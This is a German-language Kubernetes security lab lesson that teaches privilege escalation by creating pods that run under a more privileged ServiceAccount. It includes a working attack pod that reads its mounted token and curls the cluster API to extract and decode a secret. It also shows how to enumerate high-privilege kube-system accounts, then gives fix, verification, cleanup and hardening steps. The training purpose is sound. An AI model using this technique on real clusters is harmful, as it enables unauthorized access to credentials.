Tag 4: Rechteausweitung über fremde ServiceAccounts
Ziel: Du übernimmst mit „Pods erstellen” einen privilegierten ServiceAccount – und trennst die Namespaces. · Dauer: ca. 75 min · Voraussetzung: Tag 3
Briefing
Du musst keine Secret-Rechte haben, um an Secrets zu kommen. Es reicht, einen Pod starten zu dürfen: Ein Pod läuft mit dem Token seines ServiceAccounts. Darfst du also in einem Namespace Pods erstellen, kannst du dir einen beliebigen – auch einen privilegierten – ServiceAccount dieses Namespace „ausleihen”. Das ist eine der häufigsten Rechteausweitungen in echten Clustern, weil „darf deployen” oft großzügig vergeben wird.
attacker:default --(create pods in shop)--> Pod mit SA=deployer
|
deployer darf shop-Secrets lesen
Drill 1: Die Ausgangslage – ein privilegierter Deployer
Im Namespace shop ein ServiceAccount
deployer, der (wie eine CI-Pipeline) die Secrets von
shop lesen darf:
kubectl -n shop create secret generic db-credentials \
--from-literal=password=S3cr3t-lab-pw
kubectl -n shop create serviceaccount deployer
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: shop-secret-reader, namespace: shop}
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get","list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: deployer-secrets, namespace: shop}
subjects: [{kind: ServiceAccount, name: deployer, namespace: shop}]
roleRef: {kind: Role, name: shop-secret-reader, apiGroup: rbac.authorization.k8s.io}
EOFFortschritt speichern? Kostenlos registrieren
Drill 2: Die Fehlkonfiguration – „darf deployen”
Der Angreifer-Account bekommt das Recht, in shop Pods zu
erstellen und ihre Logs zu sehen – ein typisches
„Debug/Deploy”-Paket:
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: pod-creator, namespace: shop}
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["create","get","list"]
- apiGroups: [""]
resources: ["pods/log"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: attacker-pod-creator, namespace: shop}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: Role, name: pod-creator, apiGroup: rbac.authorization.k8s.io}
EOF
kubectl auth can-i create pods --as=system:serviceaccount:attacker:default -n shopErwartet: yes
Fortschritt speichern? Kostenlos registrieren
Drill 3: Ausnutzen – den deployer ausleihen
Wir handeln ab hier mit --as, der Sicht des Angreifers.
Du startest in shop einen Pod mit
serviceAccountName: deployer – der Pod erbt dessen Token
und liest das Secret:
AS="--as=system:serviceaccount:attacker:default"
kubectl $AS -n shop apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: pirate, namespace: shop}
spec:
serviceAccountName: deployer
restartPolicy: Never
containers:
- name: c
image: curlimages/curl
command: ["sh","-c"]
args:
- |
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Authorization: Bearer $T" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials \
| grep -oE "\"password\": *\"[^\"]*\"" | sed -E "s/.*\": *\"//;s/\"//" | base64 -d
echo
EOF
kubectl -n shop wait --for=jsonpath='{.status.phase}'=Succeeded pod/pirate --timeout=60s
kubectl $AS -n shop logs pirateErwartet:
S3cr3t-lab-pw
Der Angreifer hatte nie Secret-Rechte. Er hat sich die Identität des
deployer geborgt, indem er einen Pod mit dessen
ServiceAccount startete. „Pods erstellen” in einem Namespace ist so
mächtig wie der mächtigste ServiceAccount darin.
Fortschritt speichern? Kostenlos registrieren
Drill 4: Fix – Namespaces trennen
Der Angreifer-Namespace darf in shop schlicht gar
nichts. Entzieh die Bindung:
kubectl -n shop delete rolebinding attacker-pod-creator
kubectl -n shop delete role pod-creatorFortschritt speichern? Kostenlos registrieren
Drill 5: Nachweis
AS="--as=system:serviceaccount:attacker:default"
kubectl auth can-i create pods $AS -n shop
kubectl $AS -n shop run x --image=curlimages/curlErwartet:
no
Error from server (Forbidden): pods is forbidden: User
"system:serviceaccount:attacker:default" cannot create resource "pods" in API group ""
in the namespace "shop"
Räum die Übungsreste weg:
kubectl -n shop delete pod pirate
kubectl -n shop delete rolebinding deployer-secrets
kubectl -n shop delete role shop-secret-reader
kubectl -n shop delete serviceaccount deployer
kubectl -n shop delete secret db-credentialsFortschritt speichern? Kostenlos registrieren
Kontrollpunkt
Der Angreifer-Account hat in shop kein einziges Recht
mehr:
kubectl auth can-i --list --as=system:serviceaccount:attacker:default -n shop \
| grep -E '^(pods|secrets)' || echo "keine Rechte auf pods/secrets"Erwartet: keine Rechte auf pods/secrets
Challenge
Selbst innerhalb eines Namespace ist „Pods erstellen”
gefährlich, wenn dort ein SA mit mehr Rechten liegt. Finde heraus,
welcher ServiceAccount in kube-system die meisten Rechte
hat – das wäre bei create pods in kube-system
die Beute.
Hinweis:
kubectl auth can-i --list --as=… zeigt pro Account, was er
darf; vergleiche zwei, drei Kandidaten.
Lösung
for sa in clusterrole-aggregation-controller generic-garbage-collector namespace-controller; do
n=$(kubectl auth can-i --list \
--as=system:serviceaccount:kube-system:$sa 2>/dev/null | wc -l)
echo "$sa: $n Regelzeilen"
doneErwartet: Accounts wie
clusterrole-aggregation-controller oder
generic-garbage-collector haben auffällig viele Rechte.
Darum darf create pods in kube-system niemals
an einen Workload.
Fortschritt speichern? Kostenlos registrieren
Enterprise-Notiz
create pods(auch überdeployments,jobs,cronjobs,daemonsets) ist faktisch Rechteausweitung auf jeden SA des Namespace. So eng wie möglich vergeben.- Mit Pod Security Admission (Tag 5) und Kyverno (Tag 12) lässt sich zusätzlich einschränken, welche ServiceAccounts ein Pod verwenden darf.
- Trenne Mandanten in eigene Namespaces und binde Rechte strikt namespaced; kein Account sollte Rechte in einem fremden Namespace haben.
- CI/Deployer-Accounts gehören in einen eigenen Namespace mit eng gefasster Role – nicht neben die Workloads, die sie ausrollen.